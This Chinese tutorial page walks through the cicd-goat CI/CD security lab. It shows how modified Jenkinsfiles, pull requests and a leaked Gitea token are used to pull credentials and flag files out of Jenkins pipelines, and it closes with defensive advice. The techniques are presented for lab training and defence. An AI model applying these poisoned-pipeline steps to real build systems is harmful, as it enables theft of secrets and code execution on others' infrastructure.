> For the complete documentation index, see [llms.txt](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://lzcloudsecurity.gitbook.io/yun-an-quan-gong-fang-ru-men/di-qi-zhang-yun-yuan-sheng-ying-yong-de-devops/cicd-shen-tou-chang-jing.md).

# CICD渗透场景

#### cicd-goat漏洞环境 <a href="#toc1976934371" id="toc1976934371"></a>

<https://github.com/cider-security-research/cicd-goat>

```bash
Login to CTFd at http://localhost:8000 to view the challenges:
Username: alice
Password: alice
```

```bash
Hack:
Jenkins http://localhost:8080
Username: alice
Password: alice
 
Gitea http://localhost:3000
Username: thealice
Password: thealice
```

**White Rabbit**

请使用您对Wonderland/white-rabbit存储库的访问权限来窃取存储在 Jenkins 凭证存储中的flag1机密。还有两个提示：

1\. 尝试通过存储库触发管道。

2\. 如何使用 Jenkinsfile 访问凭据？

&#x20;

这个题目对应top10中的CICD-SEC-4 Poisoned Pipeline Execution(PPE)风险，这类

风险通常是存在代码仓库中，可控对应的CI管道配置文件，通过修改CI配置文件达

到执行对应命令的目的。例如 - Jenkinsfile (Jenkins)、.gitlab-ci.yml

(GitLab)、.circleci/config.yml (CircleCI)，以及位于 .github/workflows 下的 GitHub

Actions YAML 文件。

&#x20;

当攻击者提交修改申请的时候，管理员配置好的WebHook就会触发对应配置文件，从而执行配置文件中定义的流水线。

克隆到本地，修改其中的Jenkinsfile内容，添加一个新的stage步骤：

```bash
git clone http://localhost:3000/Wonderland/white-rabbit.git
vim Jenkinsfile
stage('Get_Flag'){
            steps {
                withCredentials([string(credentialsId: 'flag1',variable:'flag1')]){
                    sh '''
                            echo $flag1 | base64
                        '''
                }
            }
        }
$ git checkout -b challenge1
$ git add .
$ git commit -m 'first'
$ git push -u origin challenge1
```

之后在页面中提交PR合并到main里面

&#x20;

<figure><img src="/files/wFTKEMDwhEJ8YQGPLfh6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/n1kmkz8Urn9DXEbjhkLZ" alt=""><figcaption></figcaption></figure>

至此Jenkins上对应的CI管道会轮询状态，并把合并的仓库中的Jenkinsfile当做CI/CD流水线执行

&#x20;

<figure><img src="/files/x9i8riDketaOzOMi21fC" alt=""><figcaption></figcaption></figure>

&#x20;

在Jenkins中，withCredentials是一个构建步骤，可以用来存储和管理凭据。withCredentials支持多种凭据类型，包括用户名/密码凭据、私钥凭据、SSH私钥凭据和凭据变量等。它可以通过两种方式使用：

&#x20;

在脚本中使用：可以在Jenkins Pipeline脚本或Shell脚本中使用withCredentials语句来访问凭据。例如，可以使用以下代码来访问用户名/密码凭据：

\#这段代码会将用户名/密码凭据存储在变量USERNAME和PASSWORD中，然后可以在脚本中使用这些变量。

```bash
withCredentials([usernamePassword(credentialsId: 'my-credential',
usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD')]) {
  sh 'echo $USERNAME:$PASSWORD'
}
```

* &#x20;使用withCredentials可以将凭据存储在Jenkins安全存储库中，并在需要时使用。这样能够避免将敏感信息直接硬编码在脚本或配置文件中，提高安全性。例如，可以使用withCredentials来访问数据库，而不需要在脚本中明文存储数据库用户名和密码。
* &#x20;withCredentials可以用来存储各种类型的凭据，包括用户名/密码凭据、SSH私钥、证书等。使用时需要指定凭据的类型和存储库中的名称，然后将凭据绑定到变量，在脚本中即可使用。
* &#x20;除了存储用户名/密码凭据之外，withCredentials还可以用来存储其他类型的凭据。例如，下面是使用withCredentials存储SSH私钥的代码：

{% code overflow="wrap" %}

```bash
withCredentials([sshUserPrivateKey(credentialsId: 'my-ssh-key', usernameVariable: 'SSH_USER', keyVariable: 'SSH_PRIVATE_KEY')]) {
  sh 'ssh -i $SSH_PRIVATE_KEY $SSH_USER@my-server'
}
```

{% endcode %}

上面的代码会从Jenkins安全存储库中获取名为my-ssh-key的SSH私钥凭据，并将SSH用户名绑定到变量SSH\_USER，将私钥绑定到变量SSH\_PRIVATE\_KEY。然后在sh命令中，使用ssh命令使用私钥登录到远程服务器。

&#x20;

**Mad Hatter**

Jenkinsfile 受保护？听起来像是一个生日派对。使用您对Wonderland/mad-hatter存储库的访问权限来窃取flag3秘密。

这题其实就是间接修改Makefile文件内容达到输出flag，运行的Jenkinsfile是一个独立的仓库，无权修改CI管道的配置文件，因此改题目的考点是Indirect(I-PPE)。

```bash
whoami:
    echo "${FLAG}" | base64
！环境报错没成功
```

**Duchess**

如果每个人都关心自己的事情，那么世界会比现在更快地达成交易。它也适用于你的秘密吗？您可以访问Wonderland/duchess存储库，该存储库大量使用 Python。公爵夫人非常关心她的凭证的安全性，但一定有一些 PyPi 令牌留在某处......你能找到它吗？

&#x20;

这题其实是考的CICD-SEC-6凭证安全克隆下来的仓库，再通过

<https://github.com/zricethezav/gitleaks>检测git仓库的隐私信息

&#x20;

检测git仓库的隐私信息

<http://localhost:3000/Wonderland/duchess>克隆下来的仓库，再通过

<https://github.com/zricethezav/gitleaks>检测git仓库的隐私信息

```bash
gitleaks detect -v
```

<figure><img src="/files/RKcrhm0VEjxWGmoNFEv7" alt=""><figcaption></figcaption></figure>

显示内容不全，通过定位文件在git上查找，获取Flag

<figure><img src="/files/TwzPPaW7tmGQcBtTeBKf" alt=""><figcaption></figcaption></figure>

**Caterpillar**

你是谁？你只有读取权限...这就够了吗？利用你对Wonderland / caterpillar仓库的访问权限窃取存储在Jenkins凭据存储中的flag2秘密。

三个提示：

1\. 分叉存储库并创建拉取请求以触发恶意管道。

2\. 在 Jenkins 作业中执行恶意代码后，哪些环境变量可以帮助您前进？

3\. 从管道中找到 Gitea 访问令牌？伟大的。还有另一个管道是通过推送到主分支来触发的。也许您可以从那里访问标志！

4\. 先fork仓库，并修改fork仓库中的Jenkinsfile文件，输出Jenkins的环境变量

```bash
git clone http://localhost:3000/Wonderland/caterpillar
stage ('Install_Requirements') {
    steps {
        sh '''
            env
        '''
    }
}
```

创建合并请求

<figure><img src="/files/Yq1XBgLotK8uRKdbx13q" alt=""><figcaption></figcaption></figure>

这个时候fork的项目合并会触发名字wonderland-caterpillar-test的pipeline

获取到该私有项目的GITEA\_TOKEN

&#x20;

<figure><img src="/files/gAkuOS05Q6aI1EMAz52H" alt=""><figcaption></figcaption></figure>

下载私有项目：

{% code overflow="wrap" %}

```bash
git clone http://5d3ed5564341d5060c8524c41fe03507e296ca46@localhost:3000/Wonderland/caterpillar.git
 
#创建一个分支
git checkout -b challenge1
 
#Jenkinsfile添加获取 flag内容
stage('deploy') {
    steps {
        withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'flag2', passwordVariable: 'TOKEN')]) {
            sh 'echo $TOKEN | base64'
        }
    }
}
 
#提交
git add .
git commit -m 'first'
git push -u origin challenge1
 
#切换main
git checkout main
 
#合并请求
git merge challenge1
```

{% endcode %}

这个时候会触发wonderland-caterpillar-prod管道

&#x20;

<figure><img src="/files/Pz77eZMreT1H2NaDGam6" alt=""><figcaption></figcaption></figure>

**Cheshire Cat**

您的受害者的Jenkins实例中的所有作业都在专用节点上运行，但对您来说还不够好。您很特别。您想在Jenkins控制器上执行代码。那才是真正的精华所在！使用您对Wonderland/cheshire-cat存储库的访问权限，在控制器上运行代码，并从其文件系统中窃取\~/flag5.txt

三个提示：

1\. 尝试执行Direct-PPE攻击。

2\. Jenkinsfile 如何指示 Jenkins 在 Controller 上运行作业？

3\. 尝试找到控制器的标签 - “Built-In Node”。

```bash
git clone http://localhost:3000/Wonderland/cheshire-cat.git
git checkout -b challenge3
 
修改Jenkinsfile
    agent {label 'built-in'}
 
    stages {
        stage ('Install_Requirements') {
            steps {
                sh 'cat ~/flag5.txt'
            }
        }
        
git add .
git commit -m 'first3'
git push -u origin challenge3
git checkout main
git merge challenge3
```

合并请求：

<figure><img src="/files/R1ATJxgH1HhMWzZWOiQl" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/unVow0vClriTO1l3tnXL" alt=""><figcaption></figcaption></figure>

#### 总结 <a href="#toc468987013" id="toc468987013"></a>

CI/CD在渗透测试中尚未被广泛使用，但存在着这样的场景。

实施CI/CD攻击需要具备一定的系统代码权限。目前这一方向是前沿的，如果公司有这方面的需求，可以继续研究。

CI/CD流程中存在多种风险，这些风险可能导致攻击者获得系统权限，并滥用这些权限在流水线中执行恶意操作。其中，流量控制机制不足、身份和访问管理不足和依赖库滥用是三个主要风险。流量控制机制不足意味着缺乏强制执行额外批准或审查的机制，这使得攻击者可以轻松地获得系统权限，并将恶意代码推入管道。身份和访问管理不足则意味着存在大量的身份，这些身份难以管理，容易被攻击者滥用。依赖库滥用则是指由于用户习惯，容易将名字打错或无意拉取恶意依赖包而造成的风险。

为了防止这些风险，应该采取有效的防护措施，包括强化流量控制机制、加强身份和访问管理、严格检查依赖库、审查CI配置文件和加强凭证安全。具体来说，可以实施如下措施：

· 强化流量控制机制：为流水线设置严格的访问控制策略，限制只有被信任的用户和应用程序才能访问受保护的资源和系统。

· 加强身份和访问管理：确保工程生态系统中的各个系统都能够进行有效的身份验证和访问控制，并定期审查和审计访问控制策略，以确保它们的有效性。

· 严格检查依赖库：确保依赖库的名称准确无误，并使用安全工具和技术来检测依赖库中可能存在的恶意代码。

· 审查CI配置文件：定期审查CI配置文件，确保它们不包含任何可能导致恶意操作的指令。

· 加强凭证安全：加强对凭证的保护，使用复杂的密码策略、定期更换密码、使用两步验证等措施来防止凭证被窃取。
